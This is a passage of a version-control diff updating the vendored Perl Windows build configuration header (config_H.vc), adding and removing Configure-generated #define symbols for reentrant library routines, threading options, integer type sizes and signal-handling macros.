+/*#define HAS_PTHREAD_YIELD	/ **/
+#define SCHED_YIELD		/**/
+/*#define HAS_SCHED_YIELD	/ **/
+
+/* HAS_RANDOM_R:
+ *	This symbol, if defined, indicates that the random_r routine
+ *	is available to random re-entrantly.
+ */
+/* RANDOM_R_PROTO:
+ *	This symbol encodes the prototype of random_r.
+ *	It is zero if d_random_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
+ *	is defined.
+ */
+/*#define HAS_RANDOM_R	   / **/
+#define RANDOM_R_PROTO 0	   /**/
+
+/* HAS_READDIR64_R:
+ *	This symbol, if defined, indicates that the readdir64_r routine
+ *	is available to readdir64 re-entrantly.
+ */
+/* READDIR64_R_PROTO:
+ *	This symbol encodes the prototype of readdir64_r.
+ *	It is zero if d_readdir64_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
+ *	is defined.
+ */
+/*#define HAS_READDIR64_R	   / **/
+#define READDIR64_R_PROTO 0	   /**/
+
+/* HAS_READDIR_R:
+ *	This symbol, if defined, indicates that the readdir_r routine
+ *	is available to readdir re-entrantly.
+ */
+/* READDIR_R_PROTO:
+ *	This symbol encodes the prototype of readdir_r.
+ *	It is zero if d_readdir_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
+ *	is defined.
+ */
+/*#define HAS_READDIR_R	   / **/
+#define READDIR_R_PROTO 0	   /**/
+
+/* HAS_SETGRENT_R:
+ *	This symbol, if defined, indicates that the setgrent_r routine
+ *	is available to setgrent re-entrantly.
+ */
+/* SETGRENT_R_PROTO:
+ *	This symbol encodes the prototype of setgrent_r.
+ *	It is zero if d_setgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
+ *	is defined.
+ */
+/*#define HAS_SETGRENT_R	   / **/
+#define SETGRENT_R_PROTO 0	   /**/
+
+/* HAS_SETHOSTENT_R:
+ *	This symbol, if defined, indicates that the sethostent_r routine
+ *	is available to sethostent re-entrantly.
+ */
+/* SETHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of sethostent_r.
+ *	It is zero if d_sethostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
+ *	is defined.
+ */
+/*#define HAS_SETHOSTENT_R	   / **/
+#define SETHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_SETLOCALE_R:
+ *	This symbol, if defined, indicates that the setlocale_r routine
+ *	is available to setlocale re-entrantly.
+ */
+/* SETLOCALE_R_PROTO:
+ *	This symbol encodes the prototype of setlocale_r.
+ *	It is zero if d_setlocale_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
+ *	is defined.
+ */
+/*#define HAS_SETLOCALE_R	   / **/
+#define SETLOCALE_R_PROTO 0	   /**/
+
+/* HAS_SETNETENT_R:
+ *	This symbol, if defined, indicates that the setnetent_r routine
+ *	is available to setnetent re-entrantly.
+ */
+/* SETNETENT_R_PROTO:
+ *	This symbol encodes the prototype of setnetent_r.
+ *	It is zero if d_setnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
+ *	is defined.
+ */
+/*#define HAS_SETNETENT_R	   / **/
+#define SETNETENT_R_PROTO 0	   /**/
+
+/* HAS_SETPROTOENT_R:
+ *	This symbol, if defined, indicates that the setprotoent_r routine
+ *	is available to setprotoent re-entrantly.
+ */
+/* SETPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of setprotoent_r.
+ *	It is zero if d_setprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
+ *	is defined.
+ */
+/*#define HAS_SETPROTOENT_R	   / **/
+#define SETPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_SETPWENT_R:
+ *	This symbol, if defined, indicates that the setpwent_r routine
+ *	is available to setpwent re-entrantly.
+ */
+/* SETPWENT_R_PROTO:
+ *	This symbol encodes the prototype of setpwent_r.
+ *	It is zero if d_setpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
+ *	is defined.
+ */
+/*#define HAS_SETPWENT_R	   / **/
+#define SETPWENT_R_PROTO 0	   /**/
+
+/* HAS_SETSERVENT_R:
+ *	This symbol, if defined, indicates that the setservent_r routine
+ *	is available to setservent re-entrantly.
+ */
+/* SETSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of setservent_r.
+ *	It is zero if d_setservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
+ *	is defined.
+ */
+/*#define HAS_SETSERVENT_R	   / **/
+#define SETSERVENT_R_PROTO 0	   /**/
+
+/* HAS_SRAND48_R:
+ *	This symbol, if defined, indicates that the srand48_r routine
+ *	is available to srand48 re-entrantly.
+ */
+/* SRAND48_R_PROTO:
+ *	This symbol encodes the prototype of srand48_r.
+ *	It is zero if d_srand48_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
+ *	is defined.
+ */
+/*#define HAS_SRAND48_R	   / **/
+#define SRAND48_R_PROTO 0	   /**/
+
+/* HAS_SRANDOM_R:
+ *	This symbol, if defined, indicates that the srandom_r routine
+ *	is available to srandom re-entrantly.
+ */
+/* SRANDOM_R_PROTO:
+ *	This symbol encodes the prototype of srandom_r.
+ *	It is zero if d_srandom_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
+ *	is defined.
+ */
+/*#define HAS_SRANDOM_R	   / **/
+#define SRANDOM_R_PROTO 0	   /**/
+
+/* HAS_STRERROR_R:
+ *	This symbol, if defined, indicates that the strerror_r routine
+ *	is available to strerror re-entrantly.
+ */
+/* STRERROR_R_PROTO:
+ *	This symbol encodes the prototype of strerror_r.
+ *	It is zero if d_strerror_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
+ *	is defined.
+ */
+/*#define HAS_STRERROR_R	   / **/
+#define STRERROR_R_PROTO 0	   /**/
+
+/* HAS_TMPNAM_R:
+ *	This symbol, if defined, indicates that the tmpnam_r routine
+ *	is available to tmpnam re-entrantly.
+ */
+/* TMPNAM_R_PROTO:
+ *	This symbol encodes the prototype of tmpnam_r.
+ *	It is zero if d_tmpnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
+ *	is defined.
+ */
+/*#define HAS_TMPNAM_R	   / **/
+#define TMPNAM_R_PROTO 0	   /**/
+
+/* HAS_TTYNAME_R:
+ *	This symbol, if defined, indicates that the ttyname_r routine
+ *	is available to ttyname re-entrantly.
+ */
+/* TTYNAME_R_PROTO:
+ *	This symbol encodes the prototype of ttyname_r.
+ *	It is zero if d_ttyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
+ *	is defined.
+ */
+/*#define HAS_TTYNAME_R	   / **/
+#define TTYNAME_R_PROTO 0	   /**/
+
+/* I_MACH_CTHREADS:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <mach/cthreads.h>.
+ */
+/*#define   I_MACH_CTHREADS	/ **/
+
+/* I_PTHREAD:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <pthread.h>.
+ */
+/*#define   I_PTHREAD	/ **/
+
+/* USE_ITHREADS:
+ *	This symbol, if defined, indicates that Perl should be built to
+ *	use the interpreter-based threading implementation.
+ */
+/* USE_5005THREADS:
+ *	This symbol, if defined, indicates that Perl should be built to
+ *	use the 5.005-based threading implementation.
+ *	Only valid up to 5.8.x.
+ */
+/* OLD_PTHREADS_API:
+ *	This symbol, if defined, indicates that Perl should
+ *	be built to use the old draft POSIX threads API.
+ */
+/* USE_REENTRANT_API:
+ *	This symbol, if defined, indicates that Perl should
+ *	try to use the various _r versions of library functions.
+ *	This is extremely experimental.
+ */
+/*#define	USE_5005THREADS		/ **/
+/*#define	USE_ITHREADS		/ **/
+#if defined(USE_5005THREADS) && !defined(USE_ITHREADS)
+#define		USE_THREADS		/* until src is revised*/
+#endif
+/*#define	OLD_PTHREADS_API		/ **/
+/*#define	USE_REENTRANT_API	/ **/
+
+/* HAS_TIME:
+ *	This symbol, if defined, indicates that the time() routine exists.
+ */
+/* Time_t:
+ *	This symbol holds the type returned by time(). It can be long,
+ *	or time_t on BSD sites (in which case <sys/types.h> should be
+ *	included).
+ */
+#define HAS_TIME		/**/
+#define Time_t time_t		/* Time type */
+
+/* HAS_TIMES:
+ *	This symbol, if defined, indicates that the times() routine exists.
+ *	Note that this became obsolete on some systems (SUNOS), which now
+ * use getrusage(). It may be necessary to include <sys/times.h>.
+ */
+#define HAS_TIMES		/**/
+
+/* Fpos_t:
+ *	This symbol holds the type used to declare file positions in libc.
+ *	It can be fpos_t, long, uint, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Fpos_t fpos_t		/* File position type */
+
+/* Gid_t_f:
+ *	This symbol defines the format string used for printing a Gid_t.
+ */
+#define	Gid_t_f		"ld"		/**/
+
+/* Gid_t_sign:
+ *	This symbol holds the signedness of a Gid_t.
+ *	1 for unsigned, -1 for signed.
+ */
+#define Gid_t_sign	-1		/* GID sign */
+
+/* Gid_t_size:
+ *	This symbol holds the size of a Gid_t in bytes.
+ */
+#define Gid_t_size 4		/* GID size */
+
+/* Gid_t:
+ *	This symbol holds the return type of getgid() and the type of
+ *	argument to setrgid() and related functions.  Typically,
+ *	it is the type of group ids in the kernel. It can be int, ushort,
+ *	gid_t, etc... It may be necessary to include <sys/types.h> to get
+ *	any typedef'ed information.
+ */
+#define Gid_t gid_t		/* Type for getgid(), etc... */
+
+/* Off_t:
+ *	This symbol holds the type used to declare offsets in the kernel.
+ *	It can be int, long, off_t, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+/* LSEEKSIZE:
+ *	This symbol holds the number of bytes used by the Off_t.
+ */
+/* Off_t_size:
+ *	This symbol holds the number of bytes used by the Off_t.
+ */
+#define Off_t long		/* <offset> type */
+#define LSEEKSIZE 4		/* <offset> size */
+#define Off_t_size 4	/* <offset> size */
+
+/* Mode_t:
+ *	This symbol holds the type used to declare file modes
+ *	for systems calls.  It is usually mode_t, but may be
+ *	int or unsigned short.  It may be necessary to include <sys/types.h>
+ *	to get any typedef'ed information.
+ */
+#define Mode_t mode_t	 /* file mode parameter for system calls */
+
+/* Pid_t:
+ *	This symbol holds the type used to declare process ids in the kernel.
+ *	It can be int, uint, pid_t, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Pid_t int		/* PID type */
+
+/* Size_t_size:
+ *	This symbol holds the size of a Size_t in bytes.
+ */
+#define Size_t_size 4		/**/
+
+/* Size_t:
+ *	This symbol holds the type used to declare length parameters
+ *	for string functions.  It is usually size_t, but may be
+ *	unsigned long, int, etc.  It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Size_t size_t	 /* length parameter for string functions */
+
+/* Uid_t_f:
+ *	This symbol defines the format string used for printing a Uid_t.
+ */
+#define	Uid_t_f		"ld"		/**/
+
+/* Uid_t_sign:
+ *	This symbol holds the signedness of a Uid_t.
+ *	1 for unsigned, -1 for signed.
+ */
+#define Uid_t_sign	-1		/* UID sign */
+
+/* Uid_t_size:
+ *	This symbol holds the size of a Uid_t in bytes.
+ */
+#define Uid_t_size 4		/* UID size */
+
+/* Uid_t:
+ *	This symbol holds the type used to declare user ids in the kernel.
+ *	It can be int, ushort, uid_t, etc... It may be necessary to include
+ *	<sys/types.h> to get any typedef'ed information.
+ */
+#define Uid_t uid_t		/* UID type */
+
+#endif

Modified: vendor/perl/dist/win32/config_H.vc
===================================================================
--- vendor/perl/dist/win32/config_H.vc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config_H.vc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
 
 /* Package name      : perl5
  * Source directory  : 
- * Configuration time: Wed Sep 17 13:53:56 2014
+ * Configuration time: Tue Oct 17 08:29:51 2017
  * Configured by     : shay
  * Target system     : 
  */
@@ -28,24 +28,12 @@
  */
 #define HAS_ALARM		/**/
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
+/* HAS_CBRT:
+ *	This symbol, if defined, indicates that the cbrt() (cube root)
+ *	function is available.
  */
-/*#define HAS_BCMP	/ **/
+/*#define HAS_CBRT	/ **/
 
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-/*#define HAS_BCOPY	/ **/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-/*#define HAS_BZERO	/ **/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -82,14 +70,6 @@
  */
 /*#define HAS_CUSERID		/ **/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/**/
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -176,7 +156,7 @@
 #define HAS_GETLOGIN		/**/
 
 /* HAS_GETPGID:
- *	This symbol, if defined, indicates to the C program that 
+ *	This symbol, if defined, indicates to the C program that
  *	the getpgid(pid) function is available to get the
  *	process group id.
  */
@@ -256,32 +236,6 @@
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -384,6 +338,13 @@
  */
 /*#define HAS_READLINK		/ **/
 
+/* HAS_REGCOMP:
+ *	This symbol, if defined, indicates that the regcomp() routine is
+ *	available to do some regular patern matching (usually on POSIX.2
+ *	conforming systems).
+ */
+/*#define HAS_REGCOMP		/ * POSIX.2 */
+
 /* HAS_RENAME:
  *	This symbol, if defined, indicates that the rename routine is available
  *	to rename files.  Otherwise you should do the unlink(), link(), unlink()
@@ -499,17 +460,11 @@
  */
 /*#define HAS_SETSID	/ **/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
+/* HAS_STAT:
+ *	This symbol, if defined, indicates that the stat routine is
+ *	available to get file status.
  */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/ **/
+#define HAS_STAT	/**/
 
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
@@ -622,8 +577,8 @@
  *	This symbol holds the type used for the second argument to
  *	getgroups() and setgroups().  Usually, this is the same as
  *	gidtype (gid_t) , but sometimes it isn't.
- *	It can be int, ushort, gid_t, etc... 
- *	It may be necessary to include <sys/types.h> to get any 
+ *	It can be int, ushort, gid_t, etc...
+ *	It may be necessary to include <sys/types.h> to get any
  *	typedef'ed information.  This is only required if you have
  *	getgroups() or setgroups()..
  */
@@ -659,13 +614,6 @@
  */
 #define I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
 /* I_GDBM:
  *	This symbol, if defined, indicates that <gdbm.h> exists and should
  *	be included.
@@ -672,13 +620,6 @@
  */
 /*#define I_GDBM	/ **/
 
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -685,18 +626,6 @@
  */
 #define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/ **/
-
 /* I_NETINET_IN:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <netinet/in.h>. Otherwise, you may try <sys/in.h>.
@@ -703,24 +632,6 @@
  */
 /*#define I_NETINET_IN	/ **/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -817,14 +728,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/ **/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -831,40 +734,27 @@
  */
 /*#define I_VFORK	/ **/
 
-/* CAN_VAPROTO:
- *	This variable is defined on systems supporting prototype declaration
- *	of functions with a variable number of arguments.
+/* STDCHAR:
+ *	This symbol is defined to be the type of char used in stdio.h.
+ *	It has the values "unsigned char" or "char".
  */
-/* _V:
- *	This macro is used to declare function parameters in prototypes for
- *	functions with a variable number of parameters. Use double parentheses.
- *	For example:
- *
- *		int printf _V((char *fmt, ...));
- *
- *	Remember to use the plain simple _() macro when declaring a function
- *	with no variable number of arguments, since it might be possible to
- *	have a non-effect _V() macro and still get prototypes via _().
- */
-/*#define CAN_VAPROTO	/ **/
-#ifdef CAN_VAPROTO
-#define	_V(args) args
-#else
-#define	_V(args) ()
-#endif
+#define STDCHAR char	/**/
 
-/* OSNAME:
- *	This symbol contains the name of the operating system, as determined
- *	by Configure.  You shouldn't rely on it too much; the specific
- *	feature tests from Configure are generally more reliable.
+/* INTSIZE:
+ *	This symbol contains the value of sizeof(int) so that the C
+ *	preprocessor can make decisions based on it.
  */
-/* OSVERS:
- *	This symbol contains the version of the operating system, as determined
- *	by Configure.  You shouldn't rely on it too much; the specific
- *	feature tests from Configure are generally more reliable.
+/* LONGSIZE:
+ *	This symbol contains the value of sizeof(long) so that the C
+ *	preprocessor can make decisions based on it.
  */
-#define OSNAME "MSWin32"		/**/
-#define OSVERS "6.1"		/**/
+/* SHORTSIZE:
+ *	This symbol contains the value of sizeof(short) so that the C
+ *	preprocessor can make decisions based on it.
+ */
+#define INTSIZE 4		/**/
+#define LONGSIZE 4		/**/
+#define SHORTSIZE 2		/**/
 
 /* MULTIARCH:
  *	This symbol, if defined, signifies that the build
@@ -875,69 +765,55 @@
  */
 /*#define MULTIARCH		/ **/
 
-/* MEM_ALIGNBYTES:
- *	This symbol contains the number of bytes required to align a
- *	double, or a long double when applicable. Usual values are 2,
- *	4 and 8. The default is eight, for safety.  For cross-compiling
- *  	or multiarch support, Configure will set a minimum of 8.
+/* HAS_QUAD:
+ *	This symbol, if defined, tells that there's a 64-bit integer type,
+ *	Quad_t, and its unsigned counterpart, Uquad_t. QUADKIND will be one
+ *	of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, QUAD_IS_INT64_T,
+ *	or QUAD_IS___INT64.
  */
-#define MEM_ALIGNBYTES 8
+#define HAS_QUAD	/**/
+#ifdef HAS_QUAD
+#   define Quad_t __int64	/**/
+#   define Uquad_t unsigned __int64	/**/
+#   define QUADKIND 5	/**/
+#   define QUAD_IS_INT	1
+#   define QUAD_IS_LONG	2
+#   define QUAD_IS_LONG_LONG	3
+#   define QUAD_IS_INT64_T	4
+#   define QUAD_IS___INT64	5
+#endif
 
-/* ARCHLIB:
- *	This variable, if defined, holds the name of the directory in
- *	which the user wants to put architecture-dependent public
- *	library files for perl5.  It is most often a local directory
- *	such as /usr/local/lib.  Programs using this variable must be
- *	prepared to deal with filename expansion.  If ARCHLIB is the
- *	same as PRIVLIB, it is not defined, since presumably the
- *	program already searches PRIVLIB.
+/* HAS_ACCESSX:
+ *	This symbol, if defined, indicates that the accessx routine is
+ *	available to do extended access checks.
  */
-/* ARCHLIB_EXP:
- *	This symbol contains the ~name expanded version of ARCHLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
+/*#define HAS_ACCESSX		/ **/
+
+/* HAS_EACCESS:
+ *	This symbol, if defined, indicates that the eaccess routine is
+ *	available to do extended access checks.
  */
-#define ARCHLIB "c:\\perl\\lib"		/**/
-/*#define ARCHLIB_EXP ""	/ **/
+/*#define HAS_EACCESS		/ **/
 
-/* ARCHNAME:
- *	This symbol holds a string representing the architecture name.
- *	It may be used to construct an architecture-dependant pathname
- *	where library files may be held under a private library, for
- *	instance.
+/* I_SYS_ACCESS:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <sys/access.h>.
  */
-#define ARCHNAME "MSWin32-x86"		/**/
+/*#define   I_SYS_ACCESS                / **/
 
-/* BIN:
- *	This symbol holds the path of the bin directory where the package will
- *	be installed. Program must be prepared to deal with ~name substitution.
+/* I_SYS_SECURITY:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <sys/security.h>.
  */
-/* BIN_EXP:
- *	This symbol is the filename expanded version of the BIN symbol, for
- *	programs that do not want to deal with that at run-time.
- */
-/* PERL_RELOCATABLE_INC:
- *	This symbol, if defined, indicates that we'd like to relocate entries
- *	in @INC at run time based on the location of the perl binary.
- */
-#define BIN "c:\\perl\\bin"	/**/
-#define BIN_EXP "c:\\perl\\bin"	/**/
-#define PERL_RELOCATABLE_INC "undef" 		/**/
+/*#define   I_SYS_SECURITY	/ **/
 
-/* INTSIZE:
- *	This symbol contains the value of sizeof(int) so that the C
- *	preprocessor can make decisions based on it.
+/* MEM_ALIGNBYTES:
+ *	This symbol contains the number of bytes required to align a
+ *	double, or a long double when applicable. Usual values are 2,
+ *	4 and 8. The default is eight, for safety.  For cross-compiling
+ *  	or multiarch support, Configure will set a minimum of 8.
  */
-/* LONGSIZE:
- *	This symbol contains the value of sizeof(long) so that the C
- *	preprocessor can make decisions based on it.
- */
-/* SHORTSIZE:
- *	This symbol contains the value of sizeof(short) so that the C
- *	preprocessor can make decisions based on it.
- */
-#define INTSIZE 4		/**/
-#define LONGSIZE 4		/**/
-#define SHORTSIZE 2		/**/
+#define MEM_ALIGNBYTES 8
 
 /* BYTEORDER:
  *	This symbol holds the hexadecimal constant defined in byteorder,
@@ -976,6 +852,519 @@
  */
 #define CHARBITS 8		/**/
 
+/* CASTI32:
+ *	This symbol is defined if the C compiler can cast negative
+ *	or large floating point numbers to 32-bit ints.
+ */
+/*#define	CASTI32		/ **/
+
+/* CASTNEGFLOAT:
+ *	This symbol is defined if the C compiler can cast negative
+ *	numbers to unsigned longs, ints and shorts.
+ */
+/* CASTFLAGS:
+ *	This symbol contains flags that say what difficulties the compiler
+ *	has casting odd floating values to unsigned long:
+ *		0 = ok
+ *		1 = couldn't cast < 0
+ *		2 = couldn't cast >= 0x80000000
+ *		4 = couldn't cast in argument expression list
+ */
+#define	CASTNEGFLOAT		/**/
+#define CASTFLAGS 0		/**/
+
+/* VOID_CLOSEDIR:
+ *	This symbol, if defined, indicates that the closedir() routine
+ *	does not return a value.
+ */
+/*#define VOID_CLOSEDIR		/ **/
+
+/* HAS_FD_SET:
+ *	This symbol, when defined, indicates presence of the fd_set typedef
+ *	in <sys/types.h>
+ */
+#define HAS_FD_SET	/**/
+
+/* Gconvert:
+ *	This preprocessor macro is defined to convert a floating point
+ *	number to a string without a trailing decimal point.  This
+ *	emulates the behavior of sprintf("%g"), but is sometimes much more
+ *	efficient.  If gconvert() is not available, but gcvt() drops the
+ *	trailing decimal point, then gcvt() is used.  If all else fails,
+ *	a macro using sprintf("%g") is used. Arguments for the Gconvert
+ *	macro are: value, number of digits, whether trailing zeros should
+ *	be retained, and the output buffer.
+ *	The usual values are:
+ *		d_Gconvert='gconvert((x),(n),(t),(b))'
+ *		d_Gconvert='gcvt((x),(n),(b))'
+ *		d_Gconvert='sprintf((b),"%.*g",(n),(x))'
+ *	The last two assume trailing zeros should not be kept.
+ */
+#define Gconvert(x,n,t,b) sprintf((b),"%.*g",(n),(x))
+
+/* HAS_GETPAGESIZE:
+ *	This symbol, if defined, indicates that the getpagesize system call
+ *	is available to get system page size, which is the granularity of
+ *	many memory management calls.
+ */
+/*#define HAS_GETPAGESIZE		/ **/
+
+/* HAS_GNULIBC:
+ *	This symbol, if defined, indicates to the C program that
+ *	the GNU C library is being used.  A better check is to use
+ *	the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc.
+ */
+/*#define HAS_GNULIBC  	/ **/
+#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
+#   define _GNU_SOURCE
+#endif
+
+/* HAS_ISASCII:
+ *	This manifest constant lets the C program know that isascii
+ *	is available.
+ */
+#define HAS_ISASCII		/**/
+
+/* HAS_LCHOWN:
+ *	This symbol, if defined, indicates that the lchown routine is
+ *	available to operate on a symbolic link (instead of following the
+ *	link).
+ */
+/*#define HAS_LCHOWN		/ **/
+
+/* HAS_OPEN3:
+ *	This manifest constant lets the C program know that the three
+ *	argument form of open(2) is available.
+ */
+/*#define HAS_OPEN3		/ **/
+
+/* HAS_SIGACTION:
+ *	This symbol, if defined, indicates that Vr4's sigaction() routine
+ *	is available.
+ */
+/*#define HAS_SIGACTION	/ **/
+
+/* HAS_SIGINFO_SI_ERRNO:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_errno member
+ */
+/* HAS_SIGINFO_SI_PID:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_pid member
+ */
+/* HAS_SIGINFO_SI_UID:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_uid member
+ */
+/* HAS_SIGINFO_SI_ADDR:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_addr member
+ */
+/* HAS_SIGINFO_SI_STATUS:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_status member
+ */
+/* HAS_SIGINFO_SI_BAND:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_band member
+ */
+/* HAS_SIGINFO_SI_VALUE:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_value member
+ */
+/*#define	HAS_SIGINFO_SI_ERRNO	/ **/
+/*#define	HAS_SIGINFO_SI_PID	/ **/
+/*#define	HAS_SIGINFO_SI_UID	/ **/
+/*#define	HAS_SIGINFO_SI_ADDR	/ **/
+/*#define	HAS_SIGINFO_SI_STATUS	/ **/
+/*#define	HAS_SIGINFO_SI_BAND	/ **/
+/*#define	HAS_SIGINFO_SI_VALUE	/ **/
+
+/* HAS_SIGSETJMP:
+ *	This variable indicates to the C program that the sigsetjmp()
+ *	routine is available to save the calling process's registers
+ *	and stack environment for later use by siglongjmp(), and
+ *	to optionally save the process's signal mask.  See
+ *	Sigjmp_buf, Sigsetjmp, and Siglongjmp.
+ */
+/* Sigjmp_buf:
+ *	This is the buffer type to be used with Sigsetjmp and Siglongjmp.
+ */
+/* Sigsetjmp:
+ *	This macro is used in the same way as sigsetjmp(), but will invoke
+ *	traditional setjmp() if sigsetjmp isn't available.
+ *	See HAS_SIGSETJMP.
+ */
+/* Siglongjmp:
+ *	This macro is used in the same way as siglongjmp(), but will invoke
+ *	traditional longjmp() if siglongjmp isn't available.
+ *	See HAS_SIGSETJMP.
+ */
+/*#define HAS_SIGSETJMP	/ **/
+#ifdef HAS_SIGSETJMP
+#define Sigjmp_buf sigjmp_buf
+#define Sigsetjmp(buf,save_mask) sigsetjmp((buf),(save_mask))
+#define Siglongjmp(buf,retval) siglongjmp((buf),(retval))
+#else
+#define Sigjmp_buf jmp_buf
+#define Sigsetjmp(buf,save_mask) setjmp((buf))
+#define Siglongjmp(buf,retval) longjmp((buf),(retval))
+#endif
+
+/* HAS_STATIC_INLINE:
+ *	This symbol, if defined, indicates that the C compiler supports
+ *	C99-style static inline.  That is, the function can't be called
+ *	from another translation unit.
+ */
+/* PERL_STATIC_INLINE:
+ *	This symbol gives the best-guess incantation to use for static
+ *	inline functions.  If HAS_STATIC_INLINE is defined, this will
+ *	give C99-style inline.  If HAS_STATIC_INLINE is not defined,
+ *	this will give a plain 'static'.  It will always be defined
+ *	to something that gives static linkage.
+ *	Possibilities include
+ *		static inline       (c99)
